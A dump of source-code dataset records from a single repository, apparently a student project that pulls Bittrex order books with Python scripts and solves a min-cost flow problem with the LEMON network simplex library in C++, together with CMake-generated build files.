\"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/CheckLibraryExists.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/CheckSymbolExists.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/CheckTypeSize.c.in\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/CheckTypeSize.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/Compiler/ADSP-DetermineCompiler.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/Compiler/ARMCC-DetermineCompiler.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/Compiler/AppleClang-C-FeatureTests.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/Compiler/AppleClang-C.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/Compiler/AppleClang-CXX-FeatureTests.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/Compiler/AppleClang-CXX.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/Compiler/AppleClang-DetermineCompiler.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/Compiler/Borland-DetermineCompiler.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/Compiler/Bruce-C-DetermineCompiler.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/Compiler/CMakeCommonCompilerMacros.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/Compiler/Clang-CXX-TestableFeatures.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/Compiler/Clang-DetermineCompiler.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/Compiler/Clang-DetermineCompilerInternal.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/Compiler/Clang.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/Compiler/Comeau-CXX-DetermineCompiler.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/Compiler/Compaq-C-DetermineCompiler.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/Compiler/Compaq-CXX-DetermineCompiler.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/Compiler/Cray-DetermineCompiler.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/Compiler/Embarcadero-DetermineCompiler.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/Compiler/Fujitsu-DetermineCompiler.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/Compiler/GHS-DetermineCompiler.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/Compiler/GNU-C-DetermineCompiler.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/Compiler/GNU-CXX-DetermineCompiler.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/Compiler/GNU.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/Compiler/HP-C-DetermineCompiler.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/Compiler/HP-CXX-DetermineCompiler.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/Compiler/IAR-DetermineCompiler.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/Compiler/IBMCPP-C-DetermineVersionInternal.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/Compiler/IBMCPP-CXX-DetermineVersionInternal.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/Compiler/Intel-DetermineCompiler.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/Compiler/MIPSpro-DetermineCompiler.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/Compiler/MSVC-DetermineCompiler.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/Compiler/NVIDIA-DetermineCompiler.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/Compiler/OpenWatcom-DetermineCompiler.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/Compiler/PGI-DetermineCompiler.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/Compiler/PathScale-DetermineCompiler.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/Compiler/SCO-DetermineCompiler.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/Compiler/SDCC-C-DetermineCompiler.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/Compiler/SunPro-C-DetermineCompiler.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/Compiler/SunPro-CXX-DetermineCompiler.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/Compiler/TI-DetermineCompiler.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/Compiler/TinyCC-C-DetermineCompiler.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/Compiler/VisualAge-C-DetermineCompiler.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/Compiler/VisualAge-CXX-DetermineCompiler.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/Compiler/Watcom-DetermineCompiler.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/Compiler/XL-C-DetermineCompiler.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/Compiler/XL-CXX-DetermineCompiler.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/Compiler/zOS-C-DetermineCompiler.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/Compiler/zOS-CXX-DetermineCompiler.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/FindCygwin.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/FindDoxygen.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/FindPackageHandleStandardArgs.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/FindPackageMessage.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/FindPythonInterp.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/FindThreads.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/FindWget.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/Internal/FeatureTesting.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/Platform/Darwin-AppleClang-C.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/Platform/Darwin-AppleClang-CXX.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/Platform/Darwin-Clang-C.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/Platform/Darwin-Clang-CXX.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/Platform/Darwin-Clang.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/Platform/Darwin-Determine-CXX.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/Platform/Darwin-Initialize.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/Platform/Darwin.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/Platform/UnixPaths.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Templates/CPackConfig.cmake.in\"\n )\n\n# The corresponding makefile is:\nset(CMAKE_MAKEFILE_OUTPUTS\n \"Makefile\"\n \"CMakeFiles/cmake.check_cache\"\n )\n\n# Byproducts of CMake generate step:\nset(CMAKE_MAKEFILE_PRODUCTS\n \"CMakeFiles/3.11.1/CMakeSystem.cmake\"\n \"CMakeFiles/3.11.1/CMakeCCompiler.cmake\"\n \"CMakeFiles/3.11.1/CMakeCXXCompiler.cmake\"\n \"CMakeFiles/3.11.1/CMakeCCompiler.cmake\"\n \"CMakeFiles/3.11.1/CMakeCXXCompiler.cmake\"\n \"CMakeFiles/CheckTypeSize/LONG_LONG.c\"\n \"cmake/LEMONConfig.cmake\"\n \"cmake/version.cmake\"\n \"CPackConfig.cmake\"\n \"CPackSourceConfig.cmake\"\n \"CMakeFiles/CMakeDirectoryInformation.cmake\"\n \"lemon/CMakeFiles/CMakeDirectoryInformation.cmake\"\n \"contrib/CMakeFiles/CMakeDirectoryInformation.cmake\"\n \"demo/CMakeFiles/CMakeDirectoryInformation.cmake\"\n \"tools/CMakeFiles/CMakeDirectoryInformation.cmake\"\n \"doc/CMakeFiles/CMakeDirectoryInformation.cmake\"\n \"test/CMakeFiles/CMakeDirectoryInformation.cmake\"\n )\n\n# Dependency information for all targets:\nset(CMAKE_DEPEND_INFO_FILES\n \"CMakeFiles/check.dir/DependInfo.cmake\"\n \"CMakeFiles/dist.dir/DependInfo.cmake\"\n \"lemon/CMakeFiles/lemon.dir/DependInfo.cmake\"\n \"demo/CMakeFiles/arg_parser_demo.dir/DependInfo.cmake\"\n \"demo/CMakeFiles/graph_to_eps_demo.dir/DependInfo.cmake\"\n \"demo/CMakeFiles/lgf_demo.dir/DependInfo.cmake\"\n \"tools/CMakeFiles/dimacs-to-lgf.dir/DependInfo.cmake\"\n \"tools/CMakeFiles/dimacs-solver.dir/DependInfo.cmake\"\n \"tools/CMakeFiles/lgf-gen.dir/DependInfo.cmake\"\n \"test/CMakeFiles/tsp_test.dir/DependInfo.cmake\"\n \"test/CMakeFiles/time_measure_test.dir/DependInfo.cmake\"\n \"test/CMakeFiles/suurballe_test.dir/DependInfo.cmake\"\n \"test/CMakeFiles/random_test.dir/DependInfo.cmake\"\n \"test/CMakeFiles/path_test.dir/DependInfo.cmake\"\n \"test/CMakeFiles/arc_look_up_test.dir/DependInfo.cmake\"\n \"test/CMakeFiles/min_mean_cycle_test.dir/DependInfo.cmake\"\n \"test/CMakeFiles/planarity_test.dir/DependInfo.cmake\"\n \"test/CMakeFiles/min_cost_flow_test.dir/DependInfo.cmake\"\n \"test/CMakeFiles/matching_test.dir/DependInfo.cmake\"\n \"test/CMakeFiles/maps_test.dir/DependInfo.cmake\"\n \"test/CMakeFiles/lgf_reader_writer_test.dir/DependInfo.cmake\"\n \"test/CMakeFiles/lgf_test.dir/DependInfo.cmake\"\n \"test/CMakeFiles/min_cost_arborescence_test.dir/DependInfo.cmake\"\n \"test/CMakeFiles/heap_test.dir/DependInfo.cmake\"\n \"test/CMakeFiles/bpgraph_test.dir/DependInfo.cmake\"\n \"test/CMakeFiles/max_clique_test.dir/DependInfo.cmake\"\n \"test/CMakeFiles/graph_copy_test.dir/DependInfo.cmake\"\n \"test/CMakeFiles/fractional_matching_test.dir/DependInfo.cmake\"\n \"test/CMakeFiles/gomory_hu_test.dir/DependInfo.cmake\"\n \"test/CMakeFiles/nagamochi_ibaraki_test.dir/DependInfo.cmake\"\n \"test/CMakeFiles/radix_sort_test.dir/DependInfo.cmake\"\n \"test/CMakeFiles/counter_test.dir/DependInfo.cmake\"\n \"test/CMakeFiles/bellman_ford_test.dir/DependInfo.cmake\"\n \"test/CMakeFiles/graph_test.dir/DependInfo.cmake\"\n \"test/CMakeFiles/edge_set_test.dir/DependInfo.cmake\"\n \"test/CMakeFiles/max_cardinality_search_test.dir/DependInfo.cmake\"\n \"test/CMakeFiles/euler_test.dir/DependInfo.cmake\"\n \"test/CMakeFiles/unionfind_test.dir/DependInfo.cmake\"\n \"test/CMakeFiles/error_test.dir/DependInfo.cmake\"\n \"test/CMakeFiles/dim_test.dir/DependInfo.cmake\"\n \"test/CMakeFiles/dijkstra_test.dir/DependInfo.cmake\"\n \"test/CMakeFiles/digraph_test.dir/DependInfo.cmake\"\n \"test/CMakeFiles/dfs_test.dir/DependInfo.cmake\"\n \"test/CMakeFiles/kruskal_test.dir/DependInfo.cmake\"\n \"test/CMakeFiles/hao_orlin_test.dir/DependInfo.cmake\"\n \"test/CMakeFiles/connectivity_test.dir/DependInfo.cmake\"\n \"test/CMakeFiles/bfs_test.dir/DependInfo.cmake\"\n \"test/CMakeFiles/graph_utils_test.dir/DependInfo.cmake\"\n \"test/CMakeFiles/circulation_test.dir/DependInfo.cmake\"\n \"test/CMakeFiles/max_flow_test.dir/DependInfo.cmake\"\n \"test/CMakeFiles/adaptors_test.dir/DependInfo.cmake\"\n )\n" }, { "alpha_fraction": 0.6701030731201172, "alphanum_fraction": 0.6762886643409729, "avg_line_length": 25.77777862548828, "blob_id": "f295ab169434a2741c6207b89f7eda61b0459e00", "content_id": "4c73a1db4ad813c86e2172a4961df1849b6af108", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 485, "license_type": "no_license", "max_line_length": 68, "num_lines": 18, "path": "/20180701/DataExtraction/InititialPrice.py", "repo_name": "Almira1601/OptimizationProblem", "src_encoding": "UTF-8", "text": "import json\ntokens=set()\n# to comment for the full set\nExampleSet = ['BTC','2GIVE','BURST','NMR','ETH','ADA','TRST','USDT']\n# end\nwith open (\"active_markets.json\") as f:\n\tactive_work=json.load(f)\n\tfor a in active_work:\n\t\tprint a['MarketName'],a['BaseCurrency'],a['MarketCurrency']\n\t\ttokens.add(a[\"BaseCurrency\"])\n\t\ttokens.add(a[\"MarketCurrency\"])\nprint tokens\nprices={}\n# for t in tokens:\nfor t in ExampleSet:\n\tprices[t]=1.0\nwith open(\"prices.json\",\"w\") as f: \n\tjson.dump(prices,f)\t\t\n\n" }, { "alpha_fraction": 0.6288759708404541, "alphanum_fraction": 0.6327519416809082, "avg_line_length": 31.25, "blob_id": "0b50208083ac6a270a7a1f35f5b3e7fb4fd9736f", "content_id": "77ee9a94f5a730667095a08ee9e388aa032799d2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1032, "license_type": "no_license", "max_line_length": 67, "num_lines": 32, "path": "/DataExtraction/OrderBookExtract.py", "repo_name": "Almira1601/OptimizationProblem", "src_encoding": "UTF-8", "text": "import json\nwith open(\"prices.json\") as f:\n\tprices=json.load(f)\nwith open(\"graph.lgf\",'w') as h:\n\tprint >>h,'@nodes'\n\tprint >>h,'label'\n\tfor t in prices:\n\t\tprint >>h,t\n\tprint >>h\n\tprint >>h,'@arcs'\n\tprint >>h, 'capacity','cost'\n\twith open (\"active_markets.json\") as f:\n\t\tactive_work=json.load(f)\n\t\tfor a in active_work:\n\t\t\tprint a['MarketName'],a['BaseCurrency'],a['MarketCurrency']\n\t\t\tp_base=prices[a[\"BaseCurrency\"]]\n\t\t\tp_market=prices[a[\"MarketCurrency\"]]\n\t\t\twith open (a['MarketName']+\".json\") as g:\n\t\t\t\torder_book =json.load(g)\n\t\t\t\tprint len(order_book[\"sell\"]),len(order_book[\"buy\"])\n\t\t\t\tfor s in order_book[\"sell\"]:\n\t\t\t\t\trate=s[\"Rate\"]\n\t\t\t\t\tquantity=s[\"Quantity\"]\n\t\t\t\t\tcapacity=rate*quantity*p_base\n\t\t\t\t\tcost=(p_market/(p_base*rate))-1.0\n\t\t\t\t\tprint >>h, a[\"MarketCurrency\"],a[\"BaseCurrency\"],capacity,cost\n\t\t\t\tfor s in order_book[\"buy\"]:\n\t\t\t\t\trate=s[\"Rate\"]\n\t\t\t\t\tquantity=s[\"Quantity\"]\n\t\t\t\t\tcapacity=quantity*p_market\n\t\t\t\t\tcost=((p_base*rate)/p_market)-1.0\n\t\t\t\t\tprint >>h, a[\"BaseCurrency\"],a[\"MarketCurrency\"],capacity,cost\n" }, { "alpha_fraction": 0.7690179944038391, "alphanum_fraction": 0.771784245967865, "avg_line_length": 44.1875, "blob_id": "2c5c3e2f34e9c4cbdafb49fc605e66336922c729", "content_id": "405f2bf78dcc82c19a0a2b4e6c102c9c798b1f78", "detected_licenses": [ "BSL-1.0" ], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 2169, "license_type": "permissive", "max_line_length": 113, "num_lines": 48, "path": "/NetworkSimplexMethod/lemon-1.3.1/build/test/CTestTestfile.cmake", "repo_name": "Almira1601/OptimizationProblem", "src_encoding": "UTF-8", "text": "# CMake generated Testfile for \n# Source directory: /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/test\n# Build directory: /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build/test\n# \n# This file includes the relevant testing commands required for \n# testing this directory and lists subdirectories to be tested as well.\nadd_test(adaptors_test \"adaptors_test\")\nadd_test(arc_look_up_test \"arc_look_up_test\")\nadd_test(bellman_ford_test \"bellman_ford_test\")\nadd_test(bfs_test \"bfs_test\")\nadd_test(bpgraph_test \"bpgraph_test\")\nadd_test(circulation_test \"circulation_test\")\nadd_test(connectivity_test \"connectivity_test\")\nadd_test(counter_test \"counter_test\")\nadd_test(dfs_test \"dfs_test\")\nadd_test(digraph_test \"digraph_test\")\nadd_test(dijkstra_test \"dijkstra_test\")\nadd_test(dim_test \"dim_test\")\nadd_test(edge_set_test \"edge_set_test\")\nadd_test(error_test \"error_test\")\nadd_test(euler_test \"euler_test\")\nadd_test(fractional_matching_test \"fractional_matching_test\")\nadd_test(gomory_hu_test \"gomory_hu_test\")\nadd_test(graph_copy_test \"graph_copy_test\")\nadd_test(graph_test \"graph_test\")\nadd_test(graph_utils_test \"graph_utils_test\")\nadd_test(hao_orlin_test \"hao_orlin_test\")\nadd_test(heap_test \"heap_test\")\nadd_test(kruskal_test \"kruskal_test\")\nadd_test(lgf_reader_writer_test \"lgf_reader_writer_test\")\nadd_test(lgf_test \"lgf_test\")\nadd_test(maps_test \"maps_test\")\nadd_test(matching_test \"matching_test\")\nadd_test(max_cardinality_search_test \"max_cardinality_search_test\")\nadd_test(max_clique_test \"max_clique_test\")\nadd_test(max_flow_test \"max_flow_test\")\nadd_test(min_cost_arborescence_test \"min_cost_arborescence_test\")\nadd_test(min_cost_flow_test \"min_cost_flow_test\")\nadd_test(min_mean_cycle_test \"min_mean_cycle_test\")\nadd_test(nagamochi_ibaraki_test \"nagamochi_ibaraki_test\")\nadd_test(path_test \"path_test\")\nadd_test(planarity_test \"planarity_test\")\nadd_test(radix_sort_test \"radix_sort_test\")\nadd_test(random_test \"random_test\")\nadd_test(suurballe_test \"suurballe_test\")\nadd_test(time_measure_test \"time_measure_test\")\nadd_test(tsp_test \"tsp_test\")\nadd_test(unionfind_test \"unionfind_test\")\n" }, { "alpha_fraction": 0.6420878171920776, "alphanum_fraction": 0.6495442986488342, "avg_line_length": 36.71875, "blob_id": "67d9121b8762a8d5850563cdb4b0d6466bc8e4e2", "content_id": "af292473e97b3eebb468f0462e7239af6d99a646", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1207, "license_type": "no_license", "max_line_length": 94, "num_lines": 32, "path": "/20180701/DataExtraction/bittrex_prices.py", "repo_name": "Almira1601/OptimizationProblem", "src_encoding": "UTF-8", "text": "import httplib\nimport json\nimport sys\n\nhttp = httplib.HTTPSConnection('bittrex.com')\nhttp.request('GET', '/api/v1.1/public/getmarkets')\nresponse = http.getresponse()\nif response.status != httplib.OK:\n print 'Could not get markets', response.status, response.reason\n sys.exit(0)\nmarkets = json.load(response)['result']\nactive_markets = [m for m in markets if m['IsActive']]\norder_id = 1\nwith open('active_markets.json', 'w') as f:\n json.dump(active_markets, f)\nfor m in active_markets:\n print m['MarketName'], m['BaseCurrency'], m['MarketCurrency']\n http.request('GET', '/api/v1.1/public/getorderbook?market='+m['MarketName']+'&type=both')\n response = http.getresponse()\n if response.status != httplib.OK:\n print 'Could not get orderbook for', m['MarketName'], response.status, response.reason\n sys.exit(0)\n order_book = json.load(response)['result']\n for order in order_book[\"sell\"]:\n order['order_id']=order_id\n order_id=order_id+1\n for order in order_book[\"buy\"]: \n order['order_id']=order_id\n order_id=order_id+1\n with open(m['MarketName']+'.json', 'w') as f:\n json.dump(order_book, f)\n http.close()\n" }, { "alpha_fraction": 0.594936728477478, "alphanum_fraction": 0.6962025165557861, "avg_line_length": 78, "blob_id": "4adbe9fff163679ae3a51904c27994532b2ec844", "content_id": "ad64ac06cdf327a8bdd5e898531ef1302498a010", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 79, "license_type": "no_license", "max_line_length": 78, "num_lines": 1, "path": "/20180701/NetworkSimplexMethod/build.sh", "repo_name": "Almira1601/OptimizationProblem", "src_encoding": "UTF-8", "text": "c++ -Ilemon-1.3.1 -Ilemon-1.3.1/build -o example -Wc++11-extensions example.cc\n" }, { "alpha_fraction": 0.5757753252983093, "alphanum_fraction": 0.5763604640960693, "avg_line_length": 31.235849380493164, "blob_id": "5b1e1428a14ee3216edae68a0d56d475101146f9", "content_id": "92ece195b2c24cdaa98232b051e8c4c6b5fcd497", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3418, "license_type": "no_license", "max_line_length": 138, "num_lines": 106, "path": "/20180701/NetworkSimplexMethod/NetworkSimplexMethodXcode/NetworkSimplexMethodXcode/example.cpp", "repo_name": "Almira1601/OptimizationProblem", "src_encoding": "UTF-8", "text": "#include <iostream>\n#include <lemon/smart_graph.h>\n#include <lemon/concepts/digraph.h>\n#include <lemon/network_simplex.h>\n#include <lemon/lgf_reader.h>\n#include <fstream>\n#include <string>\n#include <stdio.h>\n#include <stdlib.h>\n#include <ctype.h>\n#include <stdio.h>\n#include <cstdio>\n#include <lemon/concepts/maps.h>\n\nusing namespace std;\n\nusing lemon::SmartDigraph;\nusing lemon::Exception;\nusing lemon::NetworkSimplex;\ntypedef NetworkSimplex<SmartDigraph,double,double> nsim;\n\n\n/*void printSolution(const SmartDigraph& g, const nsim& ns, const SmartDigraph::NodeMap<string>& labels) {\n SmartDigraph::NodeMap<double> pm(g);\n ns.potentialMap(pm);\n for (SmartDigraph::NodeIt n(g); n != lemon::INVALID; ++n) {\n cout << labels[n] << \" \" << pm[n] << \"\\n\";\n }\n}*/\n\n\nvoid printSolution(const SmartDigraph& g, const nsim& ns, const SmartDigraph::NodeMap<string>& labels,\n const SmartDigraph::ArcMap<string>& order_id) {\n SmartDigraph::ArcMap<double> flows(g);\n ns.flowMap(flows);\n std:: string file_name = \"/Users/almirabiglova/Documents/OptimizationProblem/DataExtraction/optimal_solution.txt\";\n ofstream file(file_name);\n if(file.good()){\n std:: remove(file_name.c_str());\n }\n ofstream newfile(file_name);\n newfile.open(file_name, ios::out | ios::app);\n for (SmartDigraph::ArcIt a(g); a != lemon::INVALID; ++a) {\n cout << labels[g.source(a)] << \"->\" << labels[g.target(a)] << \" \" << flows[a] << \" \"<< order_id[a]<<\"\\n\";\n \n std:: string output_string = labels[g.source(a)];\n output_string.append(\" \");\n output_string.append(labels[g.target(a)]);\n output_string.append(\" \");\n output_string.append(std:: to_string(flows[a]));\n output_string.append(\" \");\n output_string.append(order_id[a]);\n newfile << output_string << std:: endl;\n \n }\n newfile.close();\n }\n\nint main() {\n \n SmartDigraph g;\n SmartDigraph::NodeMap<string> labels(g);\n SmartDigraph::ArcMap<double> cap(g);\n SmartDigraph::ArcMap<double> costs(g);\n SmartDigraph::ArcMap<string> order_id(g);\n /* SmartDigraph::ArcMap<double> lowerBound(g);*/\n SmartDigraph::Node s, t;\n\n try {\n \n digraphReader(g, \"/Users/almirabiglova/Documents/OptimizationProblem/DataExtraction/graph.lgf\"). // read the directed graph into g\n nodeMap(\"label\", labels).\n arcMap(\"capacity\", cap). // read the 'capacity' arc map into cap\n arcMap(\"cost\", costs).\n arcMap(\"order_id\",order_id).\n /*arcMap(\"low_bound\", lowerBound).\n node(\"source\", s). // read 'source' node to s\n node(\"target\", t). // read 'target' node to t*/\n run();\n } catch (Exception& error) { // check if there was any error\n std::cerr << \"Error: \" << error.what() << std::endl;\n return -1;\n }\n \n nsim ns(g);\n ns.upperMap(cap);\n ns.costMap(costs);\n nsim::ProblemType pt = ns.run();\n switch (pt){\n case ns.INFEASIBLE:\n cout<<\"Infeasible\\n\";\n break;\n case ns.OPTIMAL:\n cout<<\"Optimal\\n\";\n \n printSolution(g, ns, labels, order_id);\n \n break;\n case ns.UNBOUNDED:\n cout<<\"Unbounded\\n\";\n break;\n }\n return 0;\n \n \n}\n\n" }, { "alpha_fraction": 0.7572847604751587, "alphanum_fraction": 0.7662155628204346, "avg_line_length": 39.811248779296875, "blob_id": "4a5facc1fda21ffa9807a09ce76ae1ef876e328d", "content_id": "dc88d591e74770d0afb2a825e14ac20e30cf07a6", "detected_licenses": [ "BSL-1.0" ], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 87786, "license_type": "permissive", "max_line_length": 359, "num_lines": 2151, "path": "/20180701/NetworkSimplexMethod/lemon-1.3.1/build/test/Makefile", "repo_name": "Almira1601/OptimizationProblem", "src_encoding": "UTF-8", "text": "# CMAKE generated file: DO NOT EDIT!\n# Generated by \"Unix Makefiles\" Generator, CMake Version 3.11\n\n# Default target executed when no arguments are given to make.\ndefault_target: all\n\n.PHONY : default_target\n\n# Allow only one \"make -f Makefile2\" at a time, but pass parallelism.\n.NOTPARALLEL:\n\n\n#=============================================================================\n# Special targets provided by cmake.\n\n# Disable implicit rules so canonical targets will work.\n.SUFFIXES:\n\n\n# Remove some rules from gmake that .SUFFIXES does not remove.\nSUFFIXES =\n\n.SUFFIXES: .hpux_make_needs_suffix_list\n\n\n# Suppress display of executed commands.\n$(VERBOSE).SILENT:\n\n\n# A target that is always out of date.\ncmake_force:\n\n.PHONY : cmake_force\n\n#=============================================================================\n# Set environment variables for the build.\n\n# The shell in which to execute make rules.\nSHELL = /bin/sh\n\n# The CMake executable.\nCMAKE_COMMAND = /usr/local/Cellar/cmake/3.11.1/bin/cmake\n\n# The command to remove a file.\nRM = /usr/local/Cellar/cmake/3.11.1/bin/cmake -E remove -f\n\n# Escaping for special characters.\nEQUALS = =\n\n# The top-level source directory on which CMake was run.\nCMAKE_SOURCE_DIR = /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1\n\n# The top-level build directory on which CMake was run.\nCMAKE_BINARY_DIR = /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build\n\n#=============================================================================\n# Targets provided globally by CMake.\n\n# Special rule for the target install/strip\ninstall/strip: preinstall\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Installing the project stripped...\"\n\t/usr/local/Cellar/cmake/3.11.1/bin/cmake -DCMAKE_INSTALL_DO_STRIP=1 -P cmake_install.cmake\n.PHONY : install/strip\n\n# Special rule for the target install/strip\ninstall/strip/fast: preinstall/fast\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Installing the project stripped...\"\n\t/usr/local/Cellar/cmake/3.11.1/bin/cmake -DCMAKE_INSTALL_DO_STRIP=1 -P cmake_install.cmake\n.PHONY : install/strip/fast\n\n# Special rule for the target install\ninstall: preinstall\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Install the project...\"\n\t/usr/local/Cellar/cmake/3.11.1/bin/cmake -P cmake_install.cmake\n.PHONY : install\n\n# Special rule for the target install\ninstall/fast: preinstall/fast\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Install the project...\"\n\t/usr/local/Cellar/cmake/3.11.1/bin/cmake -P cmake_install.cmake\n.PHONY : install/fast\n\n# Special rule for the target test\ntest:\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Running tests...\"\n\t/usr/local/Cellar/cmake/3.11.1/bin/ctest --force-new-ctest-process $(ARGS)\n.PHONY : test\n\n# Special rule for the target test\ntest/fast: test\n\n.PHONY : test/fast\n\n# Special rule for the target rebuild_cache\nrebuild_cache:\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Running CMake to regenerate build system...\"\n\t/usr/local/Cellar/cmake/3.11.1/bin/cmake -H$(CMAKE_SOURCE_DIR) -B$(CMAKE_BINARY_DIR)\n.PHONY : rebuild_cache\n\n# Special rule for the target rebuild_cache\nrebuild_cache/fast: rebuild_cache\n\n.PHONY : rebuild_cache/fast\n\n# Special rule for the target package\npackage: preinstall\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Run CPack packaging tool...\"\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && /usr/local/Cellar/cmake/3.11.1/bin/cpack --config ./CPackConfig.cmake\n.PHONY : package\n\n# Special rule for the target package\npackage/fast: package\n\n.PHONY : package/fast\n\n# Special rule for the target list_install_components\nlist_install_components:\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Available install components are: \\\"Unspecified\\\" \\\"bin\\\" \\\"headers\\\"\"\n.PHONY : list_install_components\n\n# Special rule for the target list_install_components\nlist_install_components/fast: list_install_components\n\n.PHONY : list_install_components/fast\n\n# Special rule for the target install/local\ninstall/local: preinstall\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Installing only the local 